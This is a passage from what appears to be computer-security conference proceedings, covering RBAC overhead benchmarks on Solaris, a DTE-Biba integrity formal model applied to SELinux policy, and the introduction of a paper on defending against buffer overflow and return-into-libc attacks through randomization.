500 maxblocks 

7470 45.1 7540 45.5 0.94 

File Copy  
1024 bufsize  
2000 maxblocks 

9128 23.1 9173 23.2 0.49 

File Copy  
4096 bufsize  
8000 maxblocks 

9198 15.9 9219 15.9 0.23 

Shell Scripts (8 
concurrent) 

31.7 52.8 33 55 1.89 
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The 0.8% average overheads were related with the increased system call overheads 
by operation check whenever a system call was invoked. Pipe throughput and Pipe-
based context switching invoked many read/write system calls. Process creation in-
voked process-creating system call. Execl throughput and Shell scripts cases created 
additional authentication information, and invoked process-creating, read and process-
executing system calls during the measurement. The file copy overheads increased as 
the buffer size decreased, because a smaller buffer size means a more number of 
read/write system calls. 

5.2   Lmbench 

In Lmbench, simple syscall reads a byte from /dev/zero and writes it to /dev/null. 
Both simple read and write perform read and write operations of 4 bytes. Stat ob-
tains file information without an open operation, but fstat opens a file and obtains its 
information. Process fork+exit, Process fork+execve, and Process fork+/bin/sh -c 
perform written operations and measure the time. The results by Lmbench are 
shown in Table 2. 

Table 2. The Lmbench results 

A system with the developed 
model 

A system without the devel-
oped model 

 

Microseconds, MB/sec Microseconds, MB/sec 

Overhead 
(%) 

Simple syscall 1.1548 1.1503 0.39 

Simple read 9.6930 9.6488 0.46 

Simple write 2.8238 2.7983 0.90 

Simple stat 17.4335 17.3846 0.28 

Simple fstat 4.1329 4.0153 2.85 

Process fork+exit 2720.0000 2696.0000 0.89 

Process fork+execve 8963.0000 8834.0000 1.46 

Process fork+/bin/sh -c 19709.0000 18662.0000 5.61 

Pipe latency 35.8217 35.4222 1.13 

The 1.6% average overheads were related with the increased system call overheads 
by operation check whenever a system call was invoked. The notable overheads were 
the process fork+exit, fork+execve, and fork+/bin/sh -c cases. These cases were af-
fected by creating authentication information, searching the path, reading a program, 
and executing a program. The other notable case was fstat, which also includes the 
overheads for opening and closing a file besides checking operations. 
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6   Conclusion 

Security-enhancing mechanisms at the kernel level have become more important 
because many security breaches have occurred and the mechanisms at the application 
level have had their own limitation. One of the kernel level mechanisms is an access 
control. Among access controls, RBAC is a powerful access control that complements 
the disadvantages of DAC, which is discretionary, and too coarse-grained to realize 
the separation of duty through the least privilege. However, the overheads for sup-
porting all of the RBAC features and flexibility are significant as discussed in this 
paper. We designed the access control that the relationship model is simplified, and 
has no concepts of sessions, role constraints, and role inheritance to simplify its de-
sign and minimize its overheads. We implemented the access control on the Solaris 
operating system as a prototype using a DLKM without any kernel changes. As a 
consequence, the access control has some RBAC and DAC characteristics, and 
achieves 0.8% average overheads in the Unixbench case, and 1.6% average overheads 
in the Lmbench cases. 

In short, our model is powerful, simple to implement, fast, mandatory, fixed access 
control, and has both RBAC and DAC characteristics at the expense of flexibility and 
management. In addition, our model can realize the separation of duty through giving 
a user the least privilege without any kernel changes. Lastly, we believe that there are 
some cases for which the overheads to support its full features and flexibility are not 
tolerable, especially for real-time and embedded systems. 
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Abstract. Much secure system policy development uses the DTE (Do-
main and Type Enforcement) model, but the DTE model cannot explic-
itly provide the security goals of the policy. The invariants of the only
based-DTE integrity protection formal model are too complex and make
the model impractical. A DTE-Biba integrity formal model is proposed,
in which DTE is the underlying component and the Biba integrity is the
security goal. The DTE-Biba formal model describes direct Biba control
relationships, and ignores the integrity level of objects. The aim is to pro-
vide the foundation for supporting effective policy configuration, policy
integrity analysis and integrity verification of the DTE secure systems.

Keywords: Security label, security goal, integrity, information flow; for-
mal model.

1 Introduction

As an extended TE (Type Enforcement) model [1], the DTE (Domain and Type
Enforcement) model [2,3] assigns the different kinds of security labels to subjects
and objects of the systems: domain labels on subjects and type labels on objects.
DTE restricts the access a subject can have to objects and to other subjects in
terms of their security labels. Different domains have different access abilities,
and a domain may transition to another domain through domain transition ac-
cess. The domain that a subject currently belongs to is unique. Therefore, the
most important advantage of the DTE model is that a domain limits the op-
erations available to a subject such that the inappropriate modification made
by authorized users is controlled effectively. The DTE model can be effectively
implemented in software or hardware [4]. However, more like an access matrix, a
DTE system only gives that certain subjects can have certain accesses to certain
subjects and objects, and no higher-level security which is just what adminis-
trators pay close attention to, such as the security goals of the system policy,
is indicated explicitly. In the SELinux system [5] released by National Security
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Agent (NSA) in 2001, an extended TE model actually the DTE model is used for
most policy development [6]. Although the organization provides some critical
security goals the SELinux system meets [7], what we can learn is rather concrete
lower-level security goals of the system after analysis, than explicit higher-level
security of the system. So the completeness of illegal information low control is
not assured in the system. This is caused by the above limitation of the DTE
model. Jaeger et al. analyzed the Biba integrity of the Apache Web Server part
of the SELinux example policy using the access control space method [8]. They
also analyzed the integrity property of the whole SELinux example policy [9]. For
the whole development process of secure systems, we need an abstract model to
provide theoretical support for the system policy. Ji Qingguang firstly presented
a based-DTE integrity protection formal model (JQG) [10] in 2005. There are
the most two important integrity properties in JQG: the ¬clingto(t1, t2) relation
representing that the information is not allowed to flow from the t1 type to the
t2 type; and the ¬control(d1, d2) relation representing that the d1 domain is not
allowed to transition to or send signals to the d2 domain. But in most cases,
they are indirect relations between types or domains and make model proofs
more complex and more difficult. Further, when the system security policy such
as the SELinux example policy is quite complex, the illegal information flow
derived from the ¬clingto relation needs to check all domains and all types for
policy integrity analysis.This exhaustive search largely lowers analysis efficiency.

This paper proposes an integrity formal model, called DTE-Biba, in which
DTE is the underlying component and the Biba [11] integrity is the security
goal. The Biba integrity property is fulfilled if all the higher-integrity processes
do not depend on lower-integrity programs in any manner [9]. In Jaeger’s opinion,
the Biba integrity requirement of a system is expressed two classes [9]: (1) read-
integrity constraint, i.e. the set of the object types to which the domain of the
low integrity subject has write permission may not intersect with the set of
the object types to which the domain of the high integrity subject has read
permission, and (2) read-write integrity constraint, i.e., the set of the object
types to which the domain of the low integrity subject has write permission may
not intersect with the set of the object types to which the domain of the high
integrity subject has read and write permissions. The latter which can be treated
as a special case of the former, highlights that a higher integrity subject domain
writes and reads data that can not be modified by a lower integrity subject
domain. The above Biba integrity may derive out the ¬clingto relation and the
¬control relation of the based-DTE integrity protection formal model. This kind
of integrity expression is so simple and explicit as to make model proof, model
implementation and policy analysis quite effective. The DTE-Biba formal model
has these advantages primarily: (1) it is easy to implement for secure system
development; (2) compared with Biba model, it avoids the explicit requirement
on integrity levels of objects to achieve convenient system use. (3) for an integrity
system using DTE as policy development, the formal model provide firm basis
for effective policy configuration and consistence (between system security policy
and site security goals) verification.
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The rest of the paper is organized as follows. We start off by introducing
the elemental composition of the proposed model in section 2. The integrity
properties of the model are described in section 3. Transformation rules and the
proof of a typical rule are given in section 4. Section 3 and section 4 are the most
important parts of the proposed model. An application example of the model is
discussed in section 5. The last section presents conclusions and future work.

2 Underlying Elements in DTE-Biba Model

For the sake of clearness, the underlying elements of our model are listed below.
The explanation for each element follows the element.

– S = {s1, s2, ..., sm}, the set of subjects (process, programs in execution).
– O = {o1, o2, ..., on}, the set of objects (data, files, programs, etc.).
– DM = {d1, d2, ..., dp}, the set of domains as integrity labels on subjects.
– SecAdmin d, a constant representing a secure and administrative domain.
– TrustedDomain d, a constant representing a domain in which the subjects

are trusted subjects.
– TY = {t1, t2, ..., tq}, the set of types as integrity labels on objects.
– SD : S → DM , a many-to-one mapping subject-domain assignment relation,

a subject may be assigned to a unique current domain.
– OT : O → TY , a many-to-one mapping object-type assignment relation.
– C = {c1, c2, ..., ch}, c1 > c2 > ... > ch, classifications.
– K = {k1, k2, ..., kz}, categories with special access privileges.
– L = {l1, l2, ..., lu}, where li = {ci, K}, is an integrity level, and ci ∈ C

and K ⊆ K, with partial ordering ∝, li ∝ lj ≡ (ci, K) ∝ (cj , K
′
), li ∝

lj if and only if ci ≤ cj and K ⊆ K
′
.

– DTAM = {r, w, e}, the domain-type access attributes. r: read-only; w:
write-only; e: execute(no read, no write).

– DCM = {auto, exec, signal, null}, the domain-domain access attributes.
auto: a process in a domain may automatically transition to another do-
main; exec: a process may transition to another domain by explicit request;
signal, null: a domain may send UNIX signals to processes in other domains.

– DTT ⊆ DM × TY × DTAM , the domain-type access table, which gives all
allowed domain-type access.

– DDT ⊆ DM × DM × DCM , the domain-domain access table, which gives
all allowed domain-domain access.

– EP : DM ↔ TY , a many-to-many mapping domain to entry-point type
assignment relation. Several domains may be assigned to one entry-point
type while a domain may be assigned to several entry-point types.

– RA = {g, r}, request elements. g: get; r: release.
– R =

⋃
1≤i≤7 R(i), the set of requests, where R(1) = RA × S × DM × O ×

TY × DTAM, R(2) = RA × S × DM × O × TY × TY, R(3) = S × DM ×
O × TY, R(4) = S × DM × S × DM, R(5) = RA × S × DM × TY, R(6) =
RA×S×DM×(S×DM×O×TY ), and R(7) = S×DM×O×TY ×TY . R(1):
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requests for get and release access; R(2): requests for generation of objects
which belong to certain types; R(3): requests for destruction of objects which
belong to certain types; R(4): requests for sending signals to other domains;
R(5): requests for generation of types; R(6): requests for get and release
access of the item in DTT; R(7): requests for changing the types of objects.

– D = {yes, no, error, ?}, decisions.
– F ⊆ LDM , an element f in F is a domain integrity level function fDM :

DM → L.
– H ⊆ {PO}o, hierarchies. An element H is in H if and only if: (1) oi 	= oj im-

plies H(Oi)∩H(Oj) = ∅ (2) there does not exit a set of objects {o1, o2, ..., ow}
such that or+1 is in H(or) for each r, 1 ≤ r ≤ w, and ow+1 ≡ o1. A hierarchy
is a forest possibly with stumps, i.e., a hierarchy can be represented by a
collection of rooted, directed trees and isolated points.

– B = P ((S ×DM ×O×TY ×DTAM)∪ (S ×DM ×S ×DM ×DCM)). An
arbitrary element of B denoted b, is called a current access set, which gives
all the current domain-domain and domain-type accesses in various modes.

– V = B × DTT × DDT × F × H , states.

The integrity level l and the domain integrity level function f are introduced
in the model. The notation PO means the set of all subsets of set O. Because our
formal model is based on the DTE model, the descriptions of DTAM , DCM ,
DDT , DTT and EP are consistent with DTE. Additionally, the concepts of the
level function and the hierarchies above originate from the BLP model [12], so
their detailed explanations can be found in the BLP model.

State. A state is denoted by a 4-tuple of the form (b, DTT, DDT, f, H), where
b, the current access set [10], defined by

{(s, d, o, t, y) ∨ (s, s1, d, d1, u)|s, s1 ∈ S, o ∈ O,

satisfying d = SD(s) and d1 = SD(s1), t ∈ TY, y ∈ DTAM, u ∈ DCM}.

That is, in the current state, subject s is active in domain d, the activated
object o belongs to type t, s can access object o in access mode y, or transition
to domain d1 from domain d in the mode u, or send signals to the subject
belonging to domain d1 in the mode u.

Definition 1. (DTE-Biba System) A DTE-Biba system consists of the state
sequences.

3 DTE-Biba Integrity Protection Properties

According to the Biba integrity explained in section 1, the DTE-Biba formal
model defines the following integrity properties.
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3.1 Read-Integrity Property

A state v = (b, DTT, DDT, f, H) satisfies the read integrity, if and only if every
access triple (domain, type, access attribute) in the current access set b belongs
to the domain-type access table DTT , and in DTT the set of the object types
to which the domain of the low integrity subject has write permission may not
intersect with the set of the object types to which the domain of the high integrity
subject has read permission. The corresponding formal description is showed in
the following way:

(i)s ∈ S, d ∈ DM, d = SD(s) ⇒
[(t = OT (o), x ∈ DTAM, (o, t) ∈ b(s, d : x)) ⇒ (d, t, x) ∈ DTT ]

(ii)d1 ∈ DM, d2 ∈ DM ⇒
[(f(d2) ∝ f(d1)) ⇒ (DTT (d2 : w) ∩ DTT (d1 : r) = ∅)]

where b(s, d : x1, x2, ..., xn) represents the set of all ordered pairs of the form
(o, OT (o) or (s, SD(s)) which the subject s belonging to domain d can have ac-
cess to in access modes xi, (xi = {r, w, e}, 1 ≤ i ≤ n) in b; DTT (d : x1, x2, ...xn)
represents the set of types of the objects which the subject s belonging to domain
d can have access to in access modes xi, (1 ≤ i ≤ n) in DTT .

3.2 Read-Write-Integrity Property

A state v = (b, DTT, DDT, f, H) satisfies the read-write integrity, if and only
if every access triple (domain, type, access attribute) in the current access set b
belongs to the domain-type access table DTT , and in DTT the set of the object
types to which the domain of the low integrity subject has write permission
may not intersect with the set of the object types to which the domain of the
high integrity subject has read and write permissions. The corresponding formal
description is showed in the following way:

(i)s ∈ S, d ∈ DM, d = SD(s) ⇒
[(t = OT (o), x ∈ DTAM, (o, t) ∈ b(s, d : x)) ⇒ (d, t, x) ∈ DTT ]

(ii)d1 ∈ DM, d2 ∈ DM ⇒
[(f(d2) ∝ f(d1)) ⇒ (DTT (d2 : w) ∩ DTT (d1 : r, w) = ∅)]

In fact, the ¬clingto relation and the ¬control relation of the based-DTE
integrity protection formal model (JQG) are the derived relations from the read
integrity, so the basis of defining these relation actively in the system policy
database is just the read integrity. Although the read integrity includes the read
write-integrity, but their meanings are different as the first section describes:
the read integrity highlights that the higher integrity subject domain can not
read the object type that the lower integrity subject domain can write; the
read-write integrity highlights that the higher integrity subject domain writes
and reads the object type that can not be modified by a lower integrity subject
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domain. Treating these two integrities separately is helpful in analyzing the DTE
policies, because different policy conflict solutions can be adopted in terms of
the types of integrity violation [9].

Definition 2. (Secure State) A state is a secure state if and only if the state
satisfies the read integrity and the read-write integrity. In general, suppose the
initial state of a system is a secure state.

Definition 3. (Secure System) A DTE-Biba system is a secure system if and
only if every state of the system is a secure state.

4 Transformation Rules in DTE-Biba Model

4.1 Descriptions of Rules

A transformation rule of the DTE-Biba model (actually a function from R × V
to D×V ) changes one system state to another. The model is not concerned with
the dynamic addition and deletion of domains because these operations bring
much effect on the policy.

rule 1: get read/write(d, t, y). The type of the request is R(1). This rule
means subject s belonging to domain d requests access to object o belonging to
type t in access mode y, y = r or y = w.

If the parameters of the request are incorrect, then the response is ? with no
state change. Otherwise, the following condition is checked:

(i)(d, t, y) ∈ DTT or d == TruestedDomain d.

If the condition is met, then the response is yes and the state changes to

(i)b∗ = b ∪ {(s, d, o, t, y)}.

(ii)other values have no change.

Otherwise the response is no with no state change.

rule 2: get execute(d, t, y). The type of the request is R(1). This rule means
subject s belonging to domain d requests access to object o belonging to type t
in access mode y, y = e.

If the parameters of the request are incorrect, then the response is ? with no
state change. Otherwise, the following conditions are checked:

(i)d == TruestedDomain d or
(ii)(d, t, e) ∈ DTT and

¬[∃d′, d′ ∈ DM, EP (d′) == t and
(d′, t, e) ∈ DTT and (d′, d, auto ∨ exec) ∈ DDT ].
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If the conditions are met (i.e., no domain transition occurs), then the response
is yes and the state changes to

(i)b∗ = b ∪ {(s, d, o, t, y)}.

(ii)other values have no change.

Otherwise, the following condition is checked:

(i)∃d′, d′ ∈ DM, EP (d′) == t and
(d′, t, auto ∨ exec) ∈ DTT and (d′, d, auto ∨ exec) ∈ DDT.

If the condition is met (i.e., the domain transition occurs), then the response
is yes and the state changes to

(i)b∗ = b ∪ {(s, s′, d, d′, auto ∨ exec)} ∪ {(s′, d′, o, t, y)}.

(ii)other values have no change.

Otherwise the response is no with no state change.
We note that (1) s′ ∈ O represents the new subject created on executing

object o and SD(s′) = d′ and (2) a domain transition is determined by the
DDT table and the entry point type.

rule 3: release access(d, t, y). The type of the request is R(1). y ∈ {r, w, e}.
This rule means subject s belonging to domain d requests access to object o
belonging to type t in access mode y.

If the parameters of the request are incorrect, then the response is ? with no
state change.Otherwise, the response is yes and the state changes to

(i)b∗ = b − {(s, d, o, t, y)}.

(ii)other values have no change.

rule 4: create object(d, oj, t). The type of the request is R(2). This rule
means a subject belonging to domain d requests creation of an object belonging
to type t, denoted oNEW (H), directly below object oj (i.e., its parent node) in a
hierarchy.

If the parameters of the request are incorrect, then the response is ? with no
state change. Otherwise, the following condition is checked:

(i)(d, OT (oj), w) ∈ DTT.

If the condition is met, then the response is yes and the state changes to

(i)b∗ = b ∪ {(s, d, oj , OT (oj), w)}.

(ii)H∗ = H ∪ (oj , oNEW (H)).
(iii)other values have no change.

Otherwise the response is no with no state change.



232 L. Tang and S. Qing

rule 5: delete object group(d, t). The type of the request is R(3). This rule
means subject s belonging to domain d requests deletion of object o belonging
to type t, including all child nodes of object o.

If the parameters of the request are incorrect, then the response is ? with no
state change. Otherwise, the following conditions are checked:

(i)o 	= oroot and
(ii)(d, OT (P (o)), r) ∈ DTT and

(d, OT (P (o)), w) ∈ DTT, P (o) is the parent node of o.

oroot denotes the root node in a hierarchy.
If the conditions are met, then the response is yes and the state changes to

(i)b∗ = (b ∪ {(s, d, P (o), OT (P (o)), r)}∪
{(s, d, P (o), OT (P (o)), W )}) − ACCESS(O).

(ii)H∗ = H − SUBTREE(o).
(iii)other values have no change.

ACCESS(o) = (S × DM × INFERIOR(o) × TY × DTAM) ∩ b, where
INFERIOR(o) denotes all child nodes of o, including o. SUBTREE(o) =
{(op(k), ok) : ok ∈ INFERIOR(o)}.

Otherwise the response is no with no state change.

rule 6: request send signal(s1, sk, d1, dk). The type of the request is R(4).
This rule means process sk belonging to domain dk requests to send signals to
process s1 belonging to domain d1.

If the parameters of the request are incorrect, then the response is ? with no
state change. Otherwise, the following conditions are checked:

(i)dk == TruestedDomain d or d1 = dk or
(ii)(dk, d1, signal) ∈ DDT.

If the conditions are met, then the response is yes and the state changes to

(i)b∗ = b ∪ {(sk, s1, dk, d1, signal)}.

(ii)other values have no change.

Otherwise the response is no with no state change.

rule 7: create type(d, t, lt). The type of the request is R(5). This rule means
subject s belonging to domain d requests creation of type t.

If the parameters of the request are incorrect, then the response is ? with no
state change. Otherwise, the following condition is checked:

(i)d == SecAdmin d, t 	∈ TY.

If the condition is met, then the response is yes and TY = TY ∪{t}, the state
remains unchanged.

Otherwise the response is no with no state change.
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rule 8: add DTT (da, (d, t, y)). The type of the request is R(6). y ∈ {r, w, e}.
This rule means subject s belonging to domain da requests to add (d, t, y) to
DTT .

If the parameters of the request are incorrect, then the response is ? with no
state change.Otherwise, the following conditions are checked:

(i)da == SecAdmin d, (d, t, y) 	∈ DTT and

(ii)y = r ⇒
(a)[∀d1 ∈ DM, f(d1) ∝ f(d) ⇒

(DTT ′(d1 : w) ∩ DTT ′(d : r) = ∅)] and
(b)(d, t, w) ∈ DTT ⇒ [∀d1 ∈ DM, f(d1) ∝ f(d) ⇒

(DTT ′(d1 : w) ∩ DTT ′(d : r, w) = ∅)] and
(iii)y = w ⇒

[(∀d1 ∈ DM, f(d) ∝ f(d1) ⇒
(DTT ′(d : w) ∩ DTT ′(d1 : r) = ∅) and
(DTT ′(d : w) ∩ DTT ′(d1 : r, w) = ∅)].

where DTT ′ = DTT ∪ {(d, t, y)}.
If the conditions are met, then the response is yes and the state changes to

((i)DTT ∗ = DTT ∪ {(d1, t, y)}.

((ii)other values have no change.

Otherwise the response is no with no state change.

rule 9: change type(d, t, tl, o). The type of the request is R(7). This rule
means subject s belonging to domain d requests change of the type object o
belonging to from t to tl.

If the parameters of the request are incorrect, then the response is ? with no
state change. Otherwise, the following condition is checked:

(i)d == SecAdmin d or d == TrustedDomain d.

If the condition is met, then the response is yes and OT = OT ∪ {(o, tl)} −
{(o, t)} and the state changes to

(i)b∗ = b − ACCESS OBJECT (o) and
(ii)other values have no change.

where ACCESS OBJECT (o) denotes the accesses to object o, i.e., (S ×DM ×
{o} × {t} × DTAM) ∩ b.

Otherwise the response is no with no state change.
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rule 10: delete DTT (da, (d, t, y)). The type of the request is R(6).y ∈
{r, w, e}. This rule means subject s belonging to domain da requests deletion
of (d, t, y) from DTT .

If the parameters of the request are incorrect, then the response is ? with no
state change. Otherwise, the following condition is checked:

(i)da == SecAdmin d, (d, t, y) ∈ DTT.

If the condition is met, then the response is yes and the state changes to

(i)b∗ = b − {(s, d, o, t, y)|s ∈ S, o ∈ O, such that d = SD(s), t = OT (o)}.

(ii)DTT ∗ = DTT − {(d, t, y)}.

(iii)other values have no change.

Otherwise the response is no with no state change.

4.2 Proofs of Rules

All the transformation rules of the DTE-Biba model should be secure-state-
preserving. In the eighth rule, i.e., the add DTT (da, (d, t, y)) rule, adding an
access triple (domain, type, access attribute) into DTT changes DTT, and then
changes the system state. Further, because the access attribute may be any
access mode (r, w, or e), the most complicated conditions of the read integrity
and the read-write integrity, i.e., both the second conditions, must be considered.
For the sake of simplicity, we only give the proof of the eighth rule in the below
since the rule is a typical one. The proofs of other rules are similar.

rule 8: add DTT (da, (d, t, y))

Proof. Suppose v satisfies the read integrity and the read-write integrity, and
the request is of the proper form R(6). The rule changes the state v to the state
v∗ with

(i)v∗ = v or (ii)v∗ = (b ∪ {(s, d, o, t, y)}, DTT, DDT, f, H).

In the first case, since the state v satisfies the read integrity and the read-
write integrity, the state v∗ also satisfies the read integrity and the read-write
integrity.

In the second case, if (d, t, y) ∈ DTT , then v∗ = v. Suppose (d, t, y) 	∈ DTT ,
According to the add DTT (da, (d, t, y)) rule’s conditions,

(ii)y = r ⇒
(a)[∀d1 ∈ DM, f(d1) ∝ f(d) ⇒

(DTT ′(d1 : w) ∩ DTT ′(d : r) = ∅)] and
(iii)y = w ⇒

[∀d1 ∈ DM, f(d) ∝ f(d1) ⇒ (DTT ′(d : w) ∩ DTT ′(d1 : r) = ∅)],
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and no current access set change, v∗ satisfies the read integrity by the defini-
tion of the read integrity. Again, according to the add DTT (da, (d, t, y)) rule’s
conditions,

(ii)y = r ⇒
(b)(d, t, w) ∈ DTT ⇒ [∀d1 ∈ DM, f(d1) ∝ f(d) ⇒

(DTT ′(d1 : w) ∩ DTT ′(d : r, w) = ∅)] and
(iii)y = w ⇒

[∀d1 ∈ DM, f(d) ∝ f(d1) ⇒ (DTT ′(d : w) ∩ DTT ′(d1 : r, w) = ∅)],

and no current access set change, v∗ satisfies the read-write integrity by the defi-
nition of the read-write integrity. Therefore the rule 8 is secure-state-preserving.

��

Theorem 1. All the 10 transformation rules in the DTE-Biba model preserve
the read integrity and the read-write integrity. ��

Corollary 1. The DTE-Biba sytem is a secure system. ��

5 An Application Example

Since the DTE-Biba model builds on the DTE model, like the DTE model,
it is easy to implement for secure system development. On the other hand,
without the explicit requirement on integrity levels of objects, the DTE-Biba
model achieves more convenient system use than Biba model.

We provide an example of applying the DTE-Biba formal model to the
SELinux example policy (version 1.29) [5,6]. In the SELinux example policy,
each permission is mapped to a set of DTE-Biba base permissions (i.e., read,
write, or execute). For example, for the file class, the mapping is as follows:

class file
{

read : read
write : write
create : write
getattr : read
setattr : write
append : write
unlink : write
link : write
rename : write
execute : execute
...

}



236 L. Tang and S. Qing

Suppose there is already such a rule in the SELinux policy databse:

Allow sysadm_t sysadm_tmp_t :file {create read getattr
write setattr append link unlink rename} (AR1)

The rule specifies that sysadm t, a domain for system administrator sessions, can
create and access (read, getattr, write, etc.) temporary files with the sysadm
tmp t type. A security administrator who has entered the SecAdmin d domain
wants to add the following rule to the SELinux policy database.

Allow syscrond_t sysadm_tmp_t :file {create read getattr
write setattr append link unlink rename} (AR2)

The rule specifies that syscrond t, a domain for the system crond daemon, can cre-
ate and access (read, getattr, write, etc.) temporary files with the sysadm tmp t
type.The integrity level of the sysadm t domain is higher than that of the domain
related to the application-specific administrators, such as sysadm crond t. There-
fore, on making the policy decision, the condition (iii) is not satisfied according
to the add DTT rule :

DTT ′(sysadm crond t : w) ∩ DTT ′(sysadm t : r, w) = sysadm tmp t.

Hence, the operation of adding rule AR2 into the system policy database fails.
In order to resolve the above read-write integrity conflict [9], a different object

type, called sysadm crond tmp t, which is separated from the sysadm tmp t
object type , is specially assigned to the temporary objects created by the lower-
integrity domain, sysadm crond t. So rule AR2 is modified as

Allow syscrond_t sysadm_crond_tmp_t :file {create read getattr
write setattr append link unlink rename} (AR2’)

by replacing the sysadm tmp t type with the sysadm crond tmp t type. Rule
AR2’ satisfies the conditions of the add DTT rule and can be successfully added
to the system policy database.

6 Conclusions

The DTE model has been applied very broadly in many secure systems. How-
ever, it is difficult to understand and manage higher-level security goals of the
DTE policy because nothing can be learned but the access triples of form (do-
main, domain/type, access attribute). From the underlying components to the
Biba integrity proofs, we propose a DTE formal model (called DTE-Biba). For
policy makers or system administrators of the DTE-related secure systems like
the SELinux system, DTE-Biba can be used to effectively configure the com-
plex integrity policies, analyze integrity protection of the policies of these sys-
tems, and verify the consistency of these policies with their security goals. The
integrity protection properties in the DTE-Biba formal model are direct con-
straint relationships, so this not only simplifies the proof that the model meets
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the integrity properties, but also makes the model implementation and the corre-
sponding policy analysis more effective. In addition, the model avoids the explicit
requirement on the integrity level of objects to achieve convenient use for DTE
systems. Furthermore, using the Isabelle/Isar formal specification and verifica-
tion tool to prove automatically the DTE-Biba formal model (i.e., prove that the
transformation rules of DTE-Biba preserve the DTE-Biba integrity protection
properties) is in progress.
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Abstract. Buffer overflow(BOF) has been the most common form of
vulnerability in software systems today, and many methods exist to de-
fend software systems against BOF attacks. Among them, the instruction
set randomization scheme, which makes attacker not to know the spe-
cific instruction set of the target machine, is the most promising defense
scheme because it defends all typical code-injection BOF attacks. How-
ever, this defense scheme can not cover data-injection BOF attacks like
return-into-libc attacks. In order to defend against the data-injection
BOF attacks as well as the code-injection BOF attacks, we propose an
enhanced defense scheme randomizing not only the instruction sets but
also the return addresses. Implementation results show that the pro-
posed scheme can defend software systems against data-injection BOF
attacks as well as code-injection BOF attacks without significant extra
overheads.
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1 Introduction

According to various security reports such as CERT advisories [1] and Bugtraq
security mailing [2], a buffer overflow is today’s most serious security vulnerabil-
ity, which many attackers take advantage of to compromise software systems. A
buffer overflow attack impairs the target system by overflowing a buffer whose
boundary is unchecked. To prevent this attack, many kinds of methods have been
proposed. They are classified into five categories by the location to be applied;
compiler-based defense, kernel-based defense, static analysis-based defense, dy-
namically loadable library-based defense, dynamic taint analysis and instruction
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set randomization-based defense. Among them, the instruction set randomiza-
tion scheme [3] [4] , which diversifies the systems for improving security, is the
most promising defense scheme against this attack, because it defends all typical
code-injection buffer overflow attacks.

In the randomization scheme, the instructions, which will be loaded into the
code segment of the memory, are scrambled according to the randomization with
a secret key. And the scrambled instructions are restored to the original code
when they are fetched for executing. Thus, the randomization scheme defends
all typical code-injection BOF attacks since an attacker cannot be aware of the
specific randomized instruction set of the target machine.

A malicious attacker has tried to inject a data instead of instruction on the
overflowed buffer to evade the defense against the code-injection attack. The
return-into-libc attack is a typical data-injection buffer overflow attack. In the
return-into-libc attack, the injected data is located in the memory space not
related with the randomization. Thus, the instruction set randomization scheme
cannot cover the return-into-libc attacks since these attacks use the instructions
already in the memory of target process and data, which are not randomized.

In order to defend against the return-into-libc attacks as well as the code-
injection attacks, we extend an instruction set randomization scheme and propose
a new defense scheme randomizing not only the instruction set but also the return
addresses. We implement the proposed scheme on an emulator, Valgrind[5], since
we cannot directly modify the micro-instruction of CPU like what we proposed.
Implementation results show that the proposed scheme can defend software sys-
tems against return-into-libc attacks as well as code-injection attacks, and does
not impose significant extra overheads compared to the previous instruction set
randomization scheme.

The rest of this paper is organized as follows; in Section 2, we describe the
working mechanism about a buffer overflow vulnerability as a prerequisite to
understanding this paper. Section 3 describes the related works, and Section
4 describes the motivation and the goal. In Section 5, we discuss the proposed
scheme in detail. Moreover, we describe the implementation in Section 6 , and we
discuss about the efficacy and performance in Section 7. Finally, we summarize
this paper and give concluding remarks in Section 8.

2 Backgrounds

2.1 Buffer Overflow Vulnerability

In the C language, a buffer is simply a contiguous block of computer memory
that holds multiple instances of the same data type. A buffer has been used for
handling a large number of data easily and efficiently. But there is no inherent
boundary check of a buffer. Therefore, if a buffer is stuffed with more data than
it can handle, it will be overflowed and other neighboring data can be corrupted.
Especially, the flow of a process can be altered due to the corruption of return
addresses which may lead in jumping to the code as intended by an attacker.
The attacks exploiting this buffer overflow vulnerability can be classified into two
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Fig. 1. Code-injection & Data-injection Buffer Overflow Attack

classes based on the injected element by overflowing the buffer; code-injection
attack and data-injection attack.

2.2 Code-Injection Buffer Overflow Attack

The code-injection attack is a typical buffer overflow attack. A malicious attacker
is trying to take a control of the target program using buffer overflow vulnera-
bility. The attacker does two things: First the attacker injects a maliocious code
to target process’s address space. Second the attacker tries to hijack program
flow to the place of the malicious code to execute.

As shown in Figure 1(a), the attacker injects the attack code to the buffer of a
target program. The attack code contains the shellcode and the return address.
The shellcode will spawn a shell on a target system and the return address points
to the address of shellcode. When the function containing the overflowed buffer
returns, the execution will resume at the shellcode in the memory of overflowed
process. Therefore, the attacker can spawn a shell on the target system.

2.3 Data-Injection Buffer Overflow Attack

The data-injection attack injects the data by overflowing a vulnerable buffer,
instead of the codes. The data does not include instructions such as the shellcode.
The classical return-into-libc technique introduced by Nergal [6] is an example
of data-injection attack. The return-into-libc attack is commonly used to evade
the protection offered by the non-executable stack. In this attack, the attacker
uses the shared libraries to take control of the target program. The attacker
compromises the target program by injecting the fabricated data into the stack.

Figure 1(b) illustrates how this attack works. As an attacker injects malicious
data by overflowing the buffer, the return address and frame pointer are replaced
with fabricated values; the return address points to the system() function in libc
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library and the fabricated frame pointer makes the process confuse the stack
frame. When the function containing the overflowed buffer returns, the execution
will resume at system() function and the value, ”/bin/sh”, is regarded as the first
argument of system() function due to the fabricated frame pointer. Therefore,
the attacker can spawn a shell on a target system.1

3 Related Works

3.1 Compiler-Based Defense

The typical defense scheme, which is used in previous researches, checks the
integrity of return address or control data in a stack. This scheme modifies C
compiler to interpose a canary word before a return address in memory. The
canary word is a variable for checking the integrity of the control data. Due
to the architecture of a stack, the value of canary word must be changed by
the shellcode. By checking this value before the called function returns, an at-
tack to overwrite the return address can be detected. The defenses ,such as
StackGuard [7] and StackShield [8], use this scheme of checking integrity and
somewhat extended ideas.

These ideas are fundamental and easy to implement, but need a program
source code for recompilation. Due to the requirement of a program source code
for recompilation, these schemes cannot apply to every program that desire to
be protected. In addition, the method of bypassing these schemes is explored by
Bulba et al. [9].

3.2 Kernel-Based Defense

Openwall Project [10] by Solar Designer and Address space layout randomiza-
tion(ASLR) [11] by PaX Team are the kernel-based defenses. Openwall Project
makes the stack area non-executable with patching the kernel to make the buffer
overflow vulnerabilities more difficult to be exploited. However, there are some
shortcomings; the patching and recompiling a kernel is not feasible for every-
one and an alternative attack known as return-into-libc [6] which bypasses this
kernel-based defense has already been publicized.

On the other hand, the ASLR takes the approach of randomizing the posi-
tions of the stack, heap, shared libraries and executable binaries. It efficiently
